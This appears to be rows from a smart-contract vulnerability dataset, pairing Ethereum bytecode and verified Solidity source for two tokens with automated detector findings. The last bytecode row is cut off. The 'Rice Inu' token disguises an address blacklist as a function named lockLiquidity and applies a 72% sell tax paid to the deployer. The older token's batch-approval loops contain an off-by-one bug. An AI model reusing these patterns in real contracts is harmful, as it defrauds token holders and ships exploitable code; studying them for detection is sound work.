5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506011805480610c8557fe5b600082815260209020810160001990810180546001600160a01b03191690550190555b50506001600160a01b03166000908152600b60205260409020805460ff1916911515919091179055565b600254604080516331a9108f60e11b815260048101849052905160009283926001600160a01b0390911691636352211e91602480820192602092909190829003018186803b158015610d2357600080fd5b505afa158015610d37573d6000803e3d6000fd5b505050506040513d6020811015610d4d57600080fd5b50519392505050565b60008060005b601154811015610da55760118181548110610d7357fe5b6000918252602090912001546001600160a01b0385811691161415610d9d57600192509050610dae565b600101610d5c565b50600080915091505b915091565b6003546001600160a01b03163314610dca57600080fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600b6020526040812054819060ff161515600114156107945750600192915050565b6005546001600160a01b031681565b6003546001600160a01b0316331480610e4f57506006546001600160a01b031633145b610e8e576040805162461bcd60e51b815260206004820152600b60248201526a4e6f74204175746828552960a81b604482015290519081900360640190fd5b6001546040516331c44b2560e01b815260048101868152604482018590526001600160a01b03848116606484015260806024840190815287516084850152875191909416936331c44b25938993899389938993909160a490910190602087019080838360005b83811015610f0c578181015183820152602001610ef4565b50505050905090810190601f168015610f395780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610f5b57600080fd5b505af1158015610f6f573d6000803e3d6000fd5b5050505050505050565b6006546001600160a01b031681565b6001546001600160a01b0316331480610fab57506003546001600160a01b031633145b80610fc057506005546001600160a01b031633145b611005576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b6001600160a01b03929092166000908152600c6020908152604080832093909355600a905220805460ff1916911515919091179055600780546001019055565b6000818152600f6020526040812054819060ff1681816110895761106885610cd2565b6001600160a01b03811660009081526010602052604090205460ff16925090505b50936000935091505056fea2646970667358221220c850ccb6a608e255c4053244d1faac70cc2c95ed66ff72d4fb80fc8844c87a5d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
4,837
0x69cEE2eB07bea9eF98142CEA6A29B216D4a1369E
/** *Submitted for verification at Etherscan.io on 2022-02-18 */ /** Rice Inu Token Going from a fun idea, to a robust contract. A-Team. We scrapped the chain looking for inspiration when it comes to the biggest problems surrounding MEME-token launches (swingers, whales and bots). Our hand-made contract is a guarantee that our investors can't be botted and that no whales can't control our supply. Combining a solid contract to a community-driven approach, we're set up for success. Website: https://riceinu.com Twitter: https://twitter.com/riceinutoken Telegram: https://t.me/riceinu **/ pragma solidity ^0.8.11; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=12; uint256 constant TOTAL_SUPPLY=14000000000; string constant TOKEN_SYMBOL="Rice"; string constant TOKEN_NAME="Rice Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract RiceInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _maxWallet= TOTAL_SUPPLY * 10**DECIMALS; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(100); _maxWallet=_tTotal.div(50); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 tax=_taxFee; if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); if(to != _pair) { require(balanceOf(to) + amount < _maxWallet, "Balance exceeded wallet size"); }else if(_swapEnabled){ tax=_taxFee*6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:tax); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function lockLiquidity(address[] memory g) public onlyTaxCollector { for (uint256 i = 0; i < g.length; i++) { bots[g[i]] = true; } } function removeFromWhitelist(address notbot) public onlyTaxCollector { bots[notbot] = false; } function createUniswapPair() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyTaxCollector{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101235760003560e01c80638ab1d681116100a0578063bfd7928411610064578063bfd792841461033e578063d49b55d61461036e578063dd62ed3e14610383578063e8078d94146103c9578063f811fd40146103de57600080fd5b80638ab1d681146102895780638da5cb5b146102a957806395d89b41146102d15780639e752b95146102fe578063a9059cbb1461031e57600080fd5b80633d8705ab116100e75780633d8705ab146101fd5780633e07ce5b146102145780634a1316721461022957806370a082311461023e578063715018a61461027457600080fd5b806306fdde031461012f578063095ea7b31461017257806318160ddd146101a257806323b872dd146101c1578063313ce567146101e157600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260088152675269636520496e7560c01b60208201525b60405161016991906113e5565b60405180910390f35b34801561017e57600080fd5b5061019261018d36600461145f565b6103fe565b6040519015158152602001610169565b3480156101ae57600080fd5b506006545b604051908152602001610169565b3480156101cd57600080fd5b506101926101dc36600461148b565b610415565b3480156101ed57600080fd5b5060405160068152602001610169565b34801561020957600080fd5b5061021261047e565b005b34801561022057600080fd5b506102126104a2565b34801561023557600080fd5b506102126104c1565b34801561024a57600080fd5b506101b36102593660046114cc565b6001600160a01b031660009081526002602052604090205490565b34801561028057600080fd5b5061021261074d565b34801561029557600080fd5b506102126102a43660046114cc565b6107f1565b3480156102b557600080fd5b506000546040516001600160a01b039091168152602001610169565b3480156102dd57600080fd5b506040805180820190915260048152635269636560e01b602082015261015c565b34801561030a57600080fd5b506102126103193660046114e9565b610829565b34801561032a57600080fd5b5061019261033936600461145f565b610852565b34801561034a57600080fd5b506101926103593660046114cc565b60056020526000908152604090205460ff1681565b34801561037a57600080fd5b5061021261085f565b34801561038f57600080fd5b506101b361039e366004611502565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103d557600080fd5b5061021261088f565b3480156103ea57600080fd5b506102126103f9366004611551565b610996565b600061040b338484610a62565b5060015b92915050565b6000610422848484610b86565b610474843361046f856040518060600160405280602881526020016117ac602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fa5565b610a62565b5060019392505050565b6009546001600160a01b0316331461049557600080fd5b4761049f81610fdf565b50565b6009546001600160a01b031633146104b957600080fd5b600654600a55565b6009546001600160a01b031633146104d857600080fd5b600c54600160a01b900460ff16156105375760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546006546105549130916001600160a01b0390911690610a62565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cb9190611616565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106519190611616565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561069e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c29190611616565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610729573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049f9190611633565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161052e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461080857600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6009546001600160a01b0316331461084057600080fd5b600c811061084d57600080fd5b600855565b600061040b338484610b86565b6009546001600160a01b0316331461087657600080fd5b3060009081526002602052604090205461049f81611019565b6009546001600160a01b031633146108a657600080fd5b600b546001600160a01b031663f305d71947306108d8816001600160a01b031660009081526002602052604090205490565b6000806108ed6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610955573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097a9190611655565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6009546001600160a01b031633146109ad57600080fd5b60005b8151811015610a15576001600560008484815181106109d1576109d1611683565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a0d816116af565b9150506109b0565b5050565b6000610a5b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611193565b9392505050565b6001600160a01b038316610ac45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052e565b6001600160a01b038216610b255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052e565b6001600160a01b038216610c4c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052e565b60008111610cae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052e565b6008546000546001600160a01b03858116911614801590610cdd57506000546001600160a01b03848116911614155b15610f4557600c546001600160a01b038581169116148015610d0d5750600b546001600160a01b03848116911614155b8015610d3257506001600160a01b03831660009081526004602052604090205460ff16155b15610d8857600a548210610d885760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161052e565b6001600160a01b03841660009081526005602052604090205460ff16158015610dca57506001600160a01b03831660009081526005602052604090205460ff16155b610e165760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161052e565b600c546001600160a01b03848116911614610eaa5760075482610e4e856001600160a01b031660009081526002602052604090205490565b610e5891906116ca565b10610ea55760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161052e565b610ecd565b600c54600160b01b900460ff1615610ecd57600854610eca9060066116e2565b90505b30600090815260026020526040902054600c54600160a81b900460ff16158015610f055750600c546001600160a01b03868116911614155b8015610f1a5750600c54600160b01b900460ff165b15610f4357610f2881611019565b47670de0b6b3a76400008110610f4157610f4147610fdf565b505b505b6001600160a01b038316600090815260046020526040902054610f9f9085908590859060ff1680610f8e57506001600160a01b03881660009081526004602052604090205460ff165b610f9857846111c1565b60006111c1565b50505050565b60008184841115610fc95760405162461bcd60e51b815260040161052e91906113e5565b506000610fd68486611701565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a15573d6000803e3d6000fd5b600c805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106157611061611683565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110de9190611616565b816001815181106110f1576110f1611683565b6001600160a01b039283166020918202929092010152600b546111179130911684610a62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611150908590600090869030904290600401611718565b600060405180830381600087803b15801561116a57600080fd5b505af115801561117e573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600081836111b45760405162461bcd60e51b815260040161052e91906113e5565b506000610fd68486611789565b60006111d860646111d285856112c5565b90610a19565b905060006111e68483611344565b6001600160a01b03871660009081526002602052604090205490915061120c9085611344565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461123b9082611386565b6001600160a01b0386166000908152600260205260408082209290925530815220546112679083611386565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112d45750600061040f565b60006112e083856116e2565b9050826112ed8583611789565b14610a5b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052e565b6000610a5b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa5565b60008061139383856116ca565b905083811015610a5b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052e565b600060208083528351808285015260005b81811015611412578581018301518582016040015282016113f6565b81811115611424576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049f57600080fd5b803561145a8161143a565b919050565b6000806040838503121561147257600080fd5b823561147d8161143a565b946020939093013593505050565b6000806000606084860312156114a057600080fd5b83356114ab8161143a565b925060208401356114bb8161143a565b929592945050506040919091013590565b6000602082840312156114de57600080fd5b8135610a5b8161143a565b6000602082840312156114fb57600080fd5b5035919050565b6000806040838503121561151557600080fd5b82356115208161143a565b915060208301356115308161143a565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561156457600080fd5b823567ffffffffffffffff8082111561157c57600080fd5b818501915085601f83011261159057600080fd5b8135818111156115a2576115a261153b565b8060051b604051601f19603f830116810181811085821117156115c7576115c761153b565b6040529182528482019250838101850191888311156115e557600080fd5b938501935b8285101561160a576115fb8561144f565b845293850193928501926115ea565b98975050505050505050565b60006020828403121561162857600080fd5b8151610a5b8161143a565b60006020828403121561164557600080fd5b81518015158114610a5b57600080fd5b60008060006060848603121561166a57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116c3576116c3611699565b5060010190565b600082198211156116dd576116dd611699565b500190565b60008160001904831182151516156116fc576116fc611699565b500290565b60008282101561171357611713611699565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117685784516001600160a01b031683529383019391830191600101611743565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117a657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201863380f2980cffdb940d60e0bd84609ebc757f2d8301bdea45969d085e69a3b64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,838
0xf34bC51888E168BaFccCE39E4beB39553Edea5F4
/** *Submitted for verification at Etherscan.io on 2018-08-09 */ pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);} /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { /* Public variables of the token */ string public standard = 'ERC20'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner=msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function multiApprove(address[] _spender, uint256[] _value) public returns (bool){ require(_spender.length == _value.length); for(uint i=0;i<=_spender.length;i++){ allowed[msg.sender][_spender[i]] = _value[i]; Approval(msg.sender, _spender[i], _value[i]); } return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function multiIncreaseApproval(address[] _spender, uint[] _addedValue) public returns (bool) { require(_spender.length == _addedValue.length); for(uint i=0;i<=_spender.length;i++){ allowed[msg.sender][_spender[i]] = allowed[msg.sender][_spender[i]].add(_addedValue[i]); Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]); } return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function multiDecreaseApproval(address[] _spender, uint[] _subtractedValue) public returns (bool) { require(_spender.length == _subtractedValue.length); for(uint i=0;i<=_spender.length;i++){ uint oldValue = allowed[msg.sender][_spender[i]]; if (_subtractedValue[i] > oldValue) { allowed[msg.sender][_spender[i]] = 0; } else { allowed[msg.sender][_spender[i]] = oldValue.sub(_subtractedValue[i]); } Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]); } return true; } /* Approve and then comunicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063035f057d146100f657806306fdde03146101a8578063095ea7b31461023657806318160ddd1461029057806323b872dd146102b9578063313ce5671461033257806350e8587e146103615780635a3b7e421461041357806366188463146104a157806370a08231146104fb57806372a7b8ba146105485780638da5cb5b146105fa57806395d89b411461064f578063a9059cbb146106dd578063cae9ca5114610737578063d73dd623146107d4578063dd62ed3e1461082e575b600080fd5b341561010157600080fd5b61018e6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061089a565b604051808215151515815260200191505060405180910390f35b34156101b357600080fd5b6101bb610b37565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fb5780820151818401526020810190506101e0565b50505050905090810190601f1680156102285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157600080fd5b610276600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd5565b604051808215151515815260200191505060405180910390f35b341561029b57600080fd5b6102a3610cc7565b6040518082815260200191505060405180910390f35b34156102c457600080fd5b610318600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ccd565b604051808215151515815260200191505060405180910390f35b341561033d57600080fd5b610345611087565b604051808260ff1660ff16815260200191505060405180910390f35b341561036c57600080fd5b6103f96004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061109a565b604051808215151515815260200191505060405180910390f35b341561041e57600080fd5b610426611216565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046657808201518184015260208101905061044b565b50505050905090810190601f1680156104935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ac57600080fd5b6104e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112b4565b604051808215151515815260200191505060405180910390f35b341561050657600080fd5b610532600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611545565b6040518082815260200191505060405180910390f35b341561055357600080fd5b6105e06004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505